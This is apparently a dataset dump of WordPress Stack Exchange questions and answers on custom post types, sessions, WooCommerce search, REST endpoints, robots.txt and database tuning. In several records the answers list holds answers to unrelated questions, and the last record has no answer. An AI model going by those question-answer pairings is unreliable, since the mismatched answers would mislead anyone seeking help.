qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
373,972
<p>I have a CPT called jobs and a page named Job Apply. I am trying to achieve something like below url:</p> <pre><code>http://example.com/job-slug/apply </code></pre> <p>Where, <strong>job-slug</strong> can be any job. i.e Programmer, Developer etc..</p> <p>On clicking job's apply button, it should open an apply page ...
[ { "answer_id": 373443, "author": "Suresh Shinde", "author_id": 167466, "author_profile": "https://wordpress.stackexchange.com/users/167466", "pm_score": -1, "selected": false, "text": "<p>You can do it by .htaccess file, for your case url format as;</p>\n<p>Redirect 301 /%post_id%/ <a hr...
2020/08/29
[ "https://wordpress.stackexchange.com/questions/373972", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/182583/" ]
I have a CPT called jobs and a page named Job Apply. I am trying to achieve something like below url: ``` http://example.com/job-slug/apply ``` Where, **job-slug** can be any job. i.e Programmer, Developer etc.. On clicking job's apply button, it should open an apply page which consists a simple form, but url shoul...
I've written my own solution, sharing it and hoping it will help someone. Add this to your `functions.php`: ``` <?php add_action('parse_request', 'redirect_postid_to_postname'); function redirect_postid_to_postname($wp) { // If /%post_id%/ if (is_numeric($wp->request)) { $post_id = $wp->request; ...
374,082
<p>I installed a plugin that has a custom post type, that looks like the picture below:</p> <p><a href="https://i.stack.imgur.com/GDWKG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GDWKG.png" alt="enter image description here" /></a></p> <p>WhatI's like to do is hide the &quot;Pictures&quot; link ...
[ { "answer_id": 373986, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": false, "text": "<p>Very little. Any media you uploaded, and any plugins or themes you installed, will be the in<code>/wp-c...
2020/09/01
[ "https://wordpress.stackexchange.com/questions/374082", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/9820/" ]
I installed a plugin that has a custom post type, that looks like the picture below: [![enter image description here](https://i.stack.imgur.com/GDWKG.png)](https://i.stack.imgur.com/GDWKG.png) WhatI's like to do is hide the "Pictures" link in this menu. It's a custom post type. The link looks like: `edit.php?post_typ...
All site content for your WordPress site is stored in the database. The files that query and display the data, store settings, etc, are in the theme and plugin folders. There is the wp-config.php file that stores access credentials for your database. And media files are stored in the wp-content folder, but media files ...
374,111
<p>I am facing a problem with the loop inside the page template. Here is the code.</p> <pre><code>&lt;?php /* Template Name: Blog-Template */ get_header(); $args = [ 'post_type' =&gt; 'post', 'posts_per_page' =&gt; 1, ]; $queryP = new WP_Query( $args ); if ($queryP-&gt;have_posts()) { while ( $queryP-&gt;have...
[ { "answer_id": 374384, "author": "Hector", "author_id": 48376, "author_profile": "https://wordpress.stackexchange.com/users/48376", "pm_score": 0, "selected": false, "text": "<p>From <a href=\"https://wordpress.org/support/article/creating-a-static-front-page/\" rel=\"nofollow noreferrer...
2020/09/01
[ "https://wordpress.stackexchange.com/questions/374111", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/140102/" ]
I am facing a problem with the loop inside the page template. Here is the code. ``` <?php /* Template Name: Blog-Template */ get_header(); $args = [ 'post_type' => 'post', 'posts_per_page' => 1, ]; $queryP = new WP_Query( $args ); if ($queryP->have_posts()) { while ( $queryP->have_posts() ) : $queryP->the_po...
It solved automatically. I think the WordPress version 5.5.1 is full of bugs. Thanks, everyone for your support.
374,121
<p>I am trying to take my existing object array then json_encode it and add it to a $_SESSION[''] so I can request it on other pages on my website. Is there a way to save my session string (or array) and display it on another page?</p> <p>Below is the code of the array I am trying to add into a session. ( I don't know ...
[ { "answer_id": 374126, "author": "drcrow", "author_id": 178234, "author_profile": "https://wordpress.stackexchange.com/users/178234", "pm_score": 3, "selected": true, "text": "<p>Remove your session_start() and at the beginning of your functions.php put this:</p>\n<pre><code>if (!session...
2020/09/01
[ "https://wordpress.stackexchange.com/questions/374121", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/193744/" ]
I am trying to take my existing object array then json\_encode it and add it to a $\_SESSION[''] so I can request it on other pages on my website. Is there a way to save my session string (or array) and display it on another page? Below is the code of the array I am trying to add into a session. ( I don't know if I ne...
Remove your session\_start() and at the beginning of your functions.php put this: ``` if (!session_id()) { session_start(); } ``` For use from a plugin use this: ``` function register_session(){ if( !session_id() ) session_start(); } add_action('init','register_session'); ```
374,165
<p>I am creating a custom word press theme and i am little stuck in one situation, what i want is to echo the specific values of an array in the form of bordered tables. For example i want to display | location | qualification | date |</p> <p>here below is my code</p> <pre><code> &lt;td class=&quot;row-2 row-email&quot...
[ { "answer_id": 374209, "author": "davidb3rn", "author_id": 193744, "author_profile": "https://wordpress.stackexchange.com/users/193744", "pm_score": 0, "selected": false, "text": "<p>To get a specific item in the object when already inside a specific array.</p>\n<pre><code>$location = $r...
2020/09/02
[ "https://wordpress.stackexchange.com/questions/374165", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194041/" ]
I am creating a custom word press theme and i am little stuck in one situation, what i want is to echo the specific values of an array in the form of bordered tables. For example i want to display | location | qualification | date | here below is my code ``` <td class="row-2 row-email"><?php $release_edu_qual = get...
The previous answer is wrong, to access the array elements, you need to get it by the key: ``` $location = $release_edu_qual[0]["location"]; ``` In the above code, we're getting the location of the array that's first (zero based) in the initial array. So to list all the array data you want from that initial array y...
374,173
<p>I want to create a shortcode where content is displayed if user meta is equal to a value</p> <p>It Works but it's code isn't perfect</p> <p>how would you have done? How Can I improve it?</p> <p>Example content display if firstname user is Jeff</p> <pre><code>[check-if-equal usermeta=&quot;firstname&quot; uservalue=&...
[ { "answer_id": 374209, "author": "davidb3rn", "author_id": 193744, "author_profile": "https://wordpress.stackexchange.com/users/193744", "pm_score": 0, "selected": false, "text": "<p>To get a specific item in the object when already inside a specific array.</p>\n<pre><code>$location = $r...
2020/09/02
[ "https://wordpress.stackexchange.com/questions/374173", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/192355/" ]
I want to create a shortcode where content is displayed if user meta is equal to a value It Works but it's code isn't perfect how would you have done? How Can I improve it? Example content display if firstname user is Jeff ``` [check-if-equal usermeta="firstname" uservalue="Jeff"] Yes [/check-if-equal] ``` This i...
The previous answer is wrong, to access the array elements, you need to get it by the key: ``` $location = $release_edu_qual[0]["location"]; ``` In the above code, we're getting the location of the array that's first (zero based) in the initial array. So to list all the array data you want from that initial array y...
374,181
<p>I have issue adding the <code>meta_value</code> in search query for the WooCommerce SKU. By default, the search by SKU only work on the admin.</p> <p>I would like to make the frontend search accepting SKU in search.</p> <p>Note : SKU are not in the product title. So I need to create a custom query.</p> <pre><code> f...
[ { "answer_id": 378507, "author": "AHSAN KHAN", "author_id": 134461, "author_profile": "https://wordpress.stackexchange.com/users/134461", "pm_score": 3, "selected": false, "text": "<p>If you are using wordpress search you can add this code to make it work</p>\n<pre><code>function search_...
2020/09/02
[ "https://wordpress.stackexchange.com/questions/374181", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/32365/" ]
I have issue adding the `meta_value` in search query for the WooCommerce SKU. By default, the search by SKU only work on the admin. I would like to make the frontend search accepting SKU in search. Note : SKU are not in the product title. So I need to create a custom query. ``` function SearchFilter($query) { if...
If you are using wordpress search you can add this code to make it work ``` function search_by_sku( $search, &$query_vars ) { global $wpdb; if(isset($query_vars->query['s']) && !empty($query_vars->query['s'])){ $args = array( 'posts_per_page' => -1, 'post_type' => 'produc...
374,197
<p>I received an error from google saying that I have mobile usability errors on my site.</p> <p>the &quot;page&quot; that they are referring to is <a href="http://www.example.com/wp-content/plugins/ag-admin" rel="nofollow noreferrer">www.example.com/wp-content/plugins/ag-admin</a>.</p> <p>I'm not asking for help with ...
[ { "answer_id": 374200, "author": "Cyclonecode", "author_id": 14870, "author_profile": "https://wordpress.stackexchange.com/users/14870", "pm_score": 1, "selected": false, "text": "<p><strong>Using <code>robots.txt</code></strong></p>\n<p>Yes you could use a <code>robots.txt</code> file f...
2020/09/02
[ "https://wordpress.stackexchange.com/questions/374197", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105668/" ]
I received an error from google saying that I have mobile usability errors on my site. the "page" that they are referring to is [www.example.com/wp-content/plugins/ag-admin](http://www.example.com/wp-content/plugins/ag-admin). I'm not asking for help with that plugin, but trying to figure out how to make google not i...
Here's the thing There are multiple ways to do what you want, from adding meta tags, to passing headers, but because, you tagged your question with robots.txt So i consider it off-topic to discuss any other solutions. Considering your demand you need to have this as your robots.txt This disallowed access to wp-admin,...
374,220
<p>We've got a WP+woocommerce site that is over 8 years old. The site has over 60,000 users and a similar number of orders. The wp_postmeta has over 4,000,000 records and wp_usermeta has over 1,500,000. This is causing all kinds of issues because the site was not updated regularly. The site wants to update the DB and i...
[ { "answer_id": 374223, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": 0, "selected": false, "text": "<p>There are multiple Things to consider,</p>\n<ol>\n<li><p>No database is too big, to be handles, if y...
2020/09/03
[ "https://wordpress.stackexchange.com/questions/374220", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/182332/" ]
We've got a WP+woocommerce site that is over 8 years old. The site has over 60,000 users and a similar number of orders. The wp\_postmeta has over 4,000,000 records and wp\_usermeta has over 1,500,000. This is causing all kinds of issues because the site was not updated regularly. The site wants to update the DB and it...
Modern MariaDB and MySQL versions allow your tables' keys to be more efficient. Better keys can help a lot to speed up the kinds of database queries WooCommerce (and core WordPress) use. If you have a recent MySQL version that can handle the DYNAMIC row format, these postmeta keys will help a lot. ```sql PRIMARY ...
374,269
<p>Returning to WP after nine years – will the classic editor plugin allow me to pretend it's 2011 as I migrate my site over from squarespace?</p> <p>I'd like to move my business website to self-hosted Wordpress. Previously, around 2011 in my old business, we used PHP/HTML/CSS in theme templates to create customization...
[ { "answer_id": 374223, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": 0, "selected": false, "text": "<p>There are multiple Things to consider,</p>\n<ol>\n<li><p>No database is too big, to be handles, if y...
2020/09/03
[ "https://wordpress.stackexchange.com/questions/374269", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/164/" ]
Returning to WP after nine years – will the classic editor plugin allow me to pretend it's 2011 as I migrate my site over from squarespace? I'd like to move my business website to self-hosted Wordpress. Previously, around 2011 in my old business, we used PHP/HTML/CSS in theme templates to create customizations for our...
Modern MariaDB and MySQL versions allow your tables' keys to be more efficient. Better keys can help a lot to speed up the kinds of database queries WooCommerce (and core WordPress) use. If you have a recent MySQL version that can handle the DYNAMIC row format, these postmeta keys will help a lot. ```sql PRIMARY ...
374,326
<p>I'm using the <code>wp_list_categories()</code> function which generates an unordered list with list items and anchor tags for the categories. Is there any way to add HTML attributes to the <code>&lt;a&gt;</code> tags which hold the category links?</p> <p>I'd like to add a <code>title</code> attribute which is the s...
[ { "answer_id": 374460, "author": "bueltge", "author_id": 170, "author_profile": "https://wordpress.stackexchange.com/users/170", "pm_score": 1, "selected": false, "text": "<h3>Custom Walker</h3>\n<p>The function <a href=\"https://developer.wordpress.org/reference/functions/wp_list_catego...
2020/09/05
[ "https://wordpress.stackexchange.com/questions/374326", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106972/" ]
I'm using the `wp_list_categories()` function which generates an unordered list with list items and anchor tags for the categories. Is there any way to add HTML attributes to the `<a>` tags which hold the category links? I'd like to add a `title` attribute which is the same as the category, and a `class` attribute, bu...
The default walker used by `wp_list_categories()` ([`Walker_Category`](https://developer.wordpress.org/reference/classes/walker_category/)) has a hook (a filter hook) named [`category_list_link_attributes`](https://developer.wordpress.org/reference/hooks/category_list_link_attributes/) which you can use to add custom `...
374,371
<p>This is my loop:</p> <pre><code>&lt;?php $comments = get_comments(array( 'status' =&gt; 'approve', 'type' =&gt; 'comment', 'number' =&gt; 10, 'post_status' =&gt; 'public' )); ?&gt; &lt;ul class=&quot;sidebar-comments&quot;&gt; &lt;?php foreach ($comments as $comment) { ?&gt; ...
[ { "answer_id": 374378, "author": "botondcs", "author_id": 115678, "author_profile": "https://wordpress.stackexchange.com/users/115678", "pm_score": 2, "selected": true, "text": "<p>Try <code>'post_status' =&gt; 'publish',</code> that should do the trick.</p>\n<p>See <a href=\"https://dev...
2020/09/06
[ "https://wordpress.stackexchange.com/questions/374371", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/23296/" ]
This is my loop: ``` <?php $comments = get_comments(array( 'status' => 'approve', 'type' => 'comment', 'number' => 10, 'post_status' => 'public' )); ?> <ul class="sidebar-comments"> <?php foreach ($comments as $comment) { ?> <li> <div><?php echo get_avatar($comm...
Try `'post_status' => 'publish',` that should do the trick. See <https://developer.wordpress.org/reference/functions/get_post_statuses/> for more details.
374,407
<p>I got an auction theme (adifier) and i'm trying to add a button to a specific ads category.</p> <p>Tried a few codes but none seem to work, probably i don't know how to alter it properly. I got the category 3D Design where users should download the files that are uploaded from account page (where I should add anothe...
[ { "answer_id": 374378, "author": "botondcs", "author_id": 115678, "author_profile": "https://wordpress.stackexchange.com/users/115678", "pm_score": 2, "selected": true, "text": "<p>Try <code>'post_status' =&gt; 'publish',</code> that should do the trick.</p>\n<p>See <a href=\"https://dev...
2020/09/07
[ "https://wordpress.stackexchange.com/questions/374407", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194276/" ]
I got an auction theme (adifier) and i'm trying to add a button to a specific ads category. Tried a few codes but none seem to work, probably i don't know how to alter it properly. I got the category 3D Design where users should download the files that are uploaded from account page (where I should add another button ...
Try `'post_status' => 'publish',` that should do the trick. See <https://developer.wordpress.org/reference/functions/get_post_statuses/> for more details.
374,523
<p><a href="https://i.stack.imgur.com/DkULs.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DkULs.jpg" alt="enter image description here" /></a>Trying to implement <code>wp-bootstrap-navwalker.php</code> into my made from scratch template for wordpress.<br> The File for the <code>class-wp-bootstrap-n...
[ { "answer_id": 374531, "author": "HK89", "author_id": 179278, "author_profile": "https://wordpress.stackexchange.com/users/179278", "pm_score": 0, "selected": false, "text": "<p>Place class-wp-bootstrap-navwalker.php in your WordPress theme folder /wp-content/your-theme/</p>\n<p>Open you...
2020/09/09
[ "https://wordpress.stackexchange.com/questions/374523", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194294/" ]
[![enter image description here](https://i.stack.imgur.com/DkULs.jpg)](https://i.stack.imgur.com/DkULs.jpg)Trying to implement `wp-bootstrap-navwalker.php` into my made from scratch template for wordpress. The File for the `class-wp-bootstrap-navwalker.php` is located in the root directory of my theme. **functions....
Your `register_navwalker` function is loading `navwalker` with this line: ``` require_once get_template_directory() . './class-wp-bootstrap-navwalker.php'; ``` where you concatenate the path of the theme with this string: ``` './class-wp-bootstrap-navwalker.php' ``` and the dot there at the beginning is a problem...
374,539
<p>I am learning about WordPress development. I ran into an issue but could not figure out what am I doing wrong</p> <p>I want to show all of the posts on a page using a custom template. I am following this tutorial <a href="https://developer.wordpress.org/themes/basics/the-loop/#blog-archive" rel="nofollow noreferrer"...
[ { "answer_id": 374540, "author": "t2pe", "author_id": 106499, "author_profile": "https://wordpress.stackexchange.com/users/106499", "pm_score": -1, "selected": false, "text": "<p>When you use a Loop in a specific Page or Post, the loop contains data only from that single Page or Post. So...
2020/09/09
[ "https://wordpress.stackexchange.com/questions/374539", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194371/" ]
I am learning about WordPress development. I ran into an issue but could not figure out what am I doing wrong I want to show all of the posts on a page using a custom template. I am following this tutorial <https://developer.wordpress.org/themes/basics/the-loop/#blog-archive> **So far:** 1: I have created a custom p...
> > As per the documentation I am doing everything right, but on the > frontend, it is not showing all of the posts, Any idea what I am doing > wrong? > > > The documentation does not say to use a custom page template for displaying the blog archive. As shown in the [template hierarchy](https://developer.wordpress...
374,555
<p>Is there any technical way to search post titles and return the results of the most used duplicated words in them?</p> <p>I.e Three articles in total:</p> <ul> <li>The quick brown fox jumps over the lazy dog</li> <li>A brown bag for the summer</li> <li>New record - Athlete jumps higher</li> </ul> <p>Most used words ...
[ { "answer_id": 374540, "author": "t2pe", "author_id": 106499, "author_profile": "https://wordpress.stackexchange.com/users/106499", "pm_score": -1, "selected": false, "text": "<p>When you use a Loop in a specific Page or Post, the loop contains data only from that single Page or Post. So...
2020/09/09
[ "https://wordpress.stackexchange.com/questions/374555", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/151253/" ]
Is there any technical way to search post titles and return the results of the most used duplicated words in them? I.e Three articles in total: * The quick brown fox jumps over the lazy dog * A brown bag for the summer * New record - Athlete jumps higher Most used words in post titles: 1. Brown 2. Jumps
> > As per the documentation I am doing everything right, but on the > frontend, it is not showing all of the posts, Any idea what I am doing > wrong? > > > The documentation does not say to use a custom page template for displaying the blog archive. As shown in the [template hierarchy](https://developer.wordpress...
374,569
<p>I know I can use <code>define('WP_POST_REVISIONS', 5);</code> to limit future post revisions to 5, but how would I go about purging all <em>existing</em> revisions except the latest 5?</p>
[ { "answer_id": 374540, "author": "t2pe", "author_id": 106499, "author_profile": "https://wordpress.stackexchange.com/users/106499", "pm_score": -1, "selected": false, "text": "<p>When you use a Loop in a specific Page or Post, the loop contains data only from that single Page or Post. So...
2020/09/09
[ "https://wordpress.stackexchange.com/questions/374569", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/49543/" ]
I know I can use `define('WP_POST_REVISIONS', 5);` to limit future post revisions to 5, but how would I go about purging all *existing* revisions except the latest 5?
> > As per the documentation I am doing everything right, but on the > frontend, it is not showing all of the posts, Any idea what I am doing > wrong? > > > The documentation does not say to use a custom page template for displaying the blog archive. As shown in the [template hierarchy](https://developer.wordpress...
374,623
<p>Wordpress wpallimport plugin This filter allows modifying the option shown in the options type dropdown for import</p> <p>The function is as follow: I want to add $custom_types as string array.</p> <pre><code>function wpai_custom_types( $custom_types ) { // Modify the custom types to be shown on Step 1. $...
[ { "answer_id": 374540, "author": "t2pe", "author_id": 106499, "author_profile": "https://wordpress.stackexchange.com/users/106499", "pm_score": -1, "selected": false, "text": "<p>When you use a Loop in a specific Page or Post, the loop contains data only from that single Page or Post. So...
2020/09/10
[ "https://wordpress.stackexchange.com/questions/374623", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194464/" ]
Wordpress wpallimport plugin This filter allows modifying the option shown in the options type dropdown for import The function is as follow: I want to add $custom\_types as string array. ``` function wpai_custom_types( $custom_types ) { // Modify the custom types to be shown on Step 1. $custom_types = arr...
> > As per the documentation I am doing everything right, but on the > frontend, it is not showing all of the posts, Any idea what I am doing > wrong? > > > The documentation does not say to use a custom page template for displaying the blog archive. As shown in the [template hierarchy](https://developer.wordpress...
374,693
<p>I have a little non-standard WP dev environment, I use one WP core for all my projects and switch each project in core's wp-config.php just changing the <code>$project</code> variable (e.g. proj1, proj2, example...). Projects and core are separated and each project has its own DB, wp-content folder, wp-config-dev.ph...
[ { "answer_id": 374755, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 2, "selected": false, "text": "<p>Here's one milder suggestion to try out, assuming different cookie domains, if you're using WordPress 5.5+</p...
2020/09/11
[ "https://wordpress.stackexchange.com/questions/374693", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/168832/" ]
I have a little non-standard WP dev environment, I use one WP core for all my projects and switch each project in core's wp-config.php just changing the `$project` variable (e.g. proj1, proj2, example...). Projects and core are separated and each project has its own DB, wp-content folder, wp-config-dev.php (DB credenti...
I found out my solution, I just need make an additional redirect to make `wp_signon()` work after I switch project. ```php if (!is_user_logged_in()) { $creds = array(); $creds['user_login'] = 'foo'; $creds['user_password'] = 'bar'; $creds['remember'] = false; $user = wp_signon( $creds, true ); ...
374,695
<p>Using Basic Authentication as an Administrator, I am getting an error code <code>401 Unauthorized : [rest_cannot_view_plugins] Sorry, you are not allowed to manage plugins for this site.</code> error when I attempt to access the GET <code>/wp-json/wp/v2/plugins</code> endpoint of my server. I can pull Post and Page ...
[ { "answer_id": 374700, "author": "Adam", "author_id": 13418, "author_profile": "https://wordpress.stackexchange.com/users/13418", "pm_score": 3, "selected": true, "text": "<h3>SUGGESTIONS</h3>\n<p>I suggest the following:</p>\n<ul>\n<li>first ensure you are running WordPress version <cod...
2020/09/11
[ "https://wordpress.stackexchange.com/questions/374695", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194523/" ]
Using Basic Authentication as an Administrator, I am getting an error code `401 Unauthorized : [rest_cannot_view_plugins] Sorry, you are not allowed to manage plugins for this site.` error when I attempt to access the GET `/wp-json/wp/v2/plugins` endpoint of my server. I can pull Post and Page info with no problem, but...
### SUGGESTIONS I suggest the following: * first ensure you are running WordPress version `5.5.*` as this version adds the endpoints for `/wp/v2/plugins` see: [New and modified REST API endpoints in WordPress 5.5](https://make.wordpress.org/core/2020/07/16/new-and-modified-rest-api-endpoints-in-wordpress-5-5/) * usin...
374,790
<p>I am creating a page template in Wordpress that displays multiple tags that are in a particular category. I have this working, but now I want to have the number of posts within each tag that is displayed as well like if I had a tag called apples with 5 posts it would look like this:</p> <pre><code>Apples(5) </code><...
[ { "answer_id": 374792, "author": "Luis Chuquilin", "author_id": 194591, "author_profile": "https://wordpress.stackexchange.com/users/194591", "pm_score": 1, "selected": false, "text": "<pre><code>function wp_get_postcount($id)\n{\n $contador = 0;\n $taxonomia = 'categoria';\n $a...
2020/09/13
[ "https://wordpress.stackexchange.com/questions/374790", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/60779/" ]
I am creating a page template in Wordpress that displays multiple tags that are in a particular category. I have this working, but now I want to have the number of posts within each tag that is displayed as well like if I had a tag called apples with 5 posts it would look like this: ``` Apples(5) ``` As of now it ju...
Here is the code I rewrote that solved my problem. It loops through a category and shows how many articles all the tags inside the category has. ``` <?php $custom_query = new WP_Query( 'posts_per_page=-1&category_name=health' ); if ( $custom_query->have_posts() )...
374,953
<p>I need to list all custom terms (brands) that are associated with products from the category that is currently being viewed. E.g. I have these brands created:</p> <ul> <li>Shirt Brand A</li> <li>Shirt Brand B</li> <li>Shirt Brand C</li> <li>Jeans Brand A</li> <li>Jeans Brand B</li> </ul> <p>On 'Shirts' category page...
[ { "answer_id": 374960, "author": "DevelJoe", "author_id": 188571, "author_profile": "https://wordpress.stackexchange.com/users/188571", "pm_score": 1, "selected": false, "text": "<p>Define your terms as <strong>hierarchical</strong> custom taxonomies, as child taxonomies from the corresp...
2020/09/16
[ "https://wordpress.stackexchange.com/questions/374953", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/138610/" ]
I need to list all custom terms (brands) that are associated with products from the category that is currently being viewed. E.g. I have these brands created: * Shirt Brand A * Shirt Brand B * Shirt Brand C * Jeans Brand A * Jeans Brand B On 'Shirts' category page, only Shirts Brands `A`, `B` and `C` are displayed. ...
To fine-tune DevelJoe's answer a bit more, you could access the queried posts from the global `$wp_query` instead of doing an extra `WP_Query`. ``` // make the current query available from global variable global $wp_query; // helper variable $brands = array(); // loop queried posts foreach ( $wp_query->posts as $queri...
374,975
<p>I have just deployed the Wordpress application on my Kubernetes cluster following the instructions from <a href="https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/" rel="nofollow noreferrer">https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent...
[ { "answer_id": 374960, "author": "DevelJoe", "author_id": 188571, "author_profile": "https://wordpress.stackexchange.com/users/188571", "pm_score": 1, "selected": false, "text": "<p>Define your terms as <strong>hierarchical</strong> custom taxonomies, as child taxonomies from the corresp...
2020/09/16
[ "https://wordpress.stackexchange.com/questions/374975", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194759/" ]
I have just deployed the Wordpress application on my Kubernetes cluster following the instructions from <https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/> Now I would like to populate the Wordpress database with a lot of posts for testing purposes. I do not really care about...
To fine-tune DevelJoe's answer a bit more, you could access the queried posts from the global `$wp_query` instead of doing an extra `WP_Query`. ``` // make the current query available from global variable global $wp_query; // helper variable $brands = array(); // loop queried posts foreach ( $wp_query->posts as $queri...
375,049
<p>There is a website where we use WooCommerce infrastructure. I have products for which I use variations, and I want to make variations like the sample site below. When the customer selects the x option from the product with the x y z option, I want the number of names and the price of the checkbox field that I have d...
[ { "answer_id": 374960, "author": "DevelJoe", "author_id": 188571, "author_profile": "https://wordpress.stackexchange.com/users/188571", "pm_score": 1, "selected": false, "text": "<p>Define your terms as <strong>hierarchical</strong> custom taxonomies, as child taxonomies from the corresp...
2020/09/18
[ "https://wordpress.stackexchange.com/questions/375049", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194805/" ]
There is a website where we use WooCommerce infrastructure. I have products for which I use variations, and I want to make variations like the sample site below. When the customer selects the x option from the product with the x y z option, I want the number of names and the price of the checkbox field that I have dete...
To fine-tune DevelJoe's answer a bit more, you could access the queried posts from the global `$wp_query` instead of doing an extra `WP_Query`. ``` // make the current query available from global variable global $wp_query; // helper variable $brands = array(); // loop queried posts foreach ( $wp_query->posts as $queri...
375,160
<p>I work on a project that shows some travels (depending on the destination category). I try to sort the travels on the start date (var_confirmed_date) but the result is the same as no sorting.</p> <p>Here is my query:</p> <pre><code>`$args = array( 'posts_per_page' =&gt; -1, ...
[ { "answer_id": 375151, "author": "Cyclonecode", "author_id": 14870, "author_profile": "https://wordpress.stackexchange.com/users/14870", "pm_score": 0, "selected": false, "text": "<p>You will need to make sure so you have the redis php extension installed and enabled. You can check the l...
2020/09/20
[ "https://wordpress.stackexchange.com/questions/375160", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194888/" ]
I work on a project that shows some travels (depending on the destination category). I try to sort the travels on the start date (var\_confirmed\_date) but the result is the same as no sorting. Here is my query: ``` `$args = array( 'posts_per_page' => -1, 'post_type' ...
The file `wp-content/object-cache.php` is one of the [dropins](https://wpengineer.com/2500/wordpress-dropins/) – PHP files with custom code that are not plugins. It is used when you are using a [persistent object cache plugin](https://codex.wordpress.org/Class_Reference/WP_Object_Cache#Persistent_Cache_Plugins), and it...
375,198
<p>I'm trying to use a REST filter to require a certain parameter is set.</p> <p>Using custom taxonomies and custom posts I've been able to make it so when I request</p> <pre><code>/wp-json/wp/v2/car?visible_to=123 </code></pre> <p>That the only <code>Car</code>s that come back are ones with a <code>visible_to</code> t...
[ { "answer_id": 375200, "author": "Toby", "author_id": 1213, "author_profile": "https://wordpress.stackexchange.com/users/1213", "pm_score": 0, "selected": false, "text": "<p>In turns out we had a caching plugin enabled that was getting in the way of some requests but not others, leading ...
2020/09/21
[ "https://wordpress.stackexchange.com/questions/375198", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/1213/" ]
I'm trying to use a REST filter to require a certain parameter is set. Using custom taxonomies and custom posts I've been able to make it so when I request ``` /wp-json/wp/v2/car?visible_to=123 ``` That the only `Car`s that come back are ones with a `visible_to` taxonomy of 123. However when someone asks for ``` ...
If you want a parameter to be required for a post type's REST API endpoint you can use the [`rest_{$this->post_type}_collection_params`](https://developer.wordpress.org/reference/hooks/rest_this-post_type_collection_params/) filter to filter the [`$args`](https://developer.wordpress.org/rest-api/extending-the-rest-api/...
375,220
<p>I am fetching data from an API using JS. How can I use this data with PHP. More specifically, assign this data to a <code>$_SESSION</code> variable in PHP so that I can use it in other pages(templates files)?</p>
[ { "answer_id": 375200, "author": "Toby", "author_id": 1213, "author_profile": "https://wordpress.stackexchange.com/users/1213", "pm_score": 0, "selected": false, "text": "<p>In turns out we had a caching plugin enabled that was getting in the way of some requests but not others, leading ...
2020/09/21
[ "https://wordpress.stackexchange.com/questions/375220", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/148212/" ]
I am fetching data from an API using JS. How can I use this data with PHP. More specifically, assign this data to a `$_SESSION` variable in PHP so that I can use it in other pages(templates files)?
If you want a parameter to be required for a post type's REST API endpoint you can use the [`rest_{$this->post_type}_collection_params`](https://developer.wordpress.org/reference/hooks/rest_this-post_type_collection_params/) filter to filter the [`$args`](https://developer.wordpress.org/rest-api/extending-the-rest-api/...
375,267
<h2>Background</h2> <p>I need to retrieve terms for a post in an arbitrary site on a multisite network. This is not necessarily the site that the WP instance is running in at that moment. <code>wp_get_object_terms()</code> requires the taxonomy for which to retrieve the terms. So, to retrieve all terms for all taxonomi...
[ { "answer_id": 375278, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<blockquote>\n<p>how can I retrieve all taxonomy terms for a post in an arbitrary site programmatically? In oth...
2020/09/22
[ "https://wordpress.stackexchange.com/questions/375267", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/64825/" ]
Background ---------- I need to retrieve terms for a post in an arbitrary site on a multisite network. This is not necessarily the site that the WP instance is running in at that moment. `wp_get_object_terms()` requires the taxonomy for which to retrieve the terms. So, to retrieve all terms for all taxonomies, it woul...
> > how can I retrieve all taxonomy terms for a post in an arbitrary site programmatically? In other words, given post $post and site $siteId, how can I retrieve all terms for all taxonomies of that post in that site? > > > You can do this by omitting the taxonomy from `WP_Term_Query`: ```php $query = new WP_Term...
375,287
<p>Is there any way to change a site's homepage (Settings -&gt; Reading), via API? We're running a React app with a Headless WP 'backend', and I'd like to let users change the homepage of their sites though our app.</p> <p>I searched but couldn't find a solution to this.</p> <p>Thanks</p>
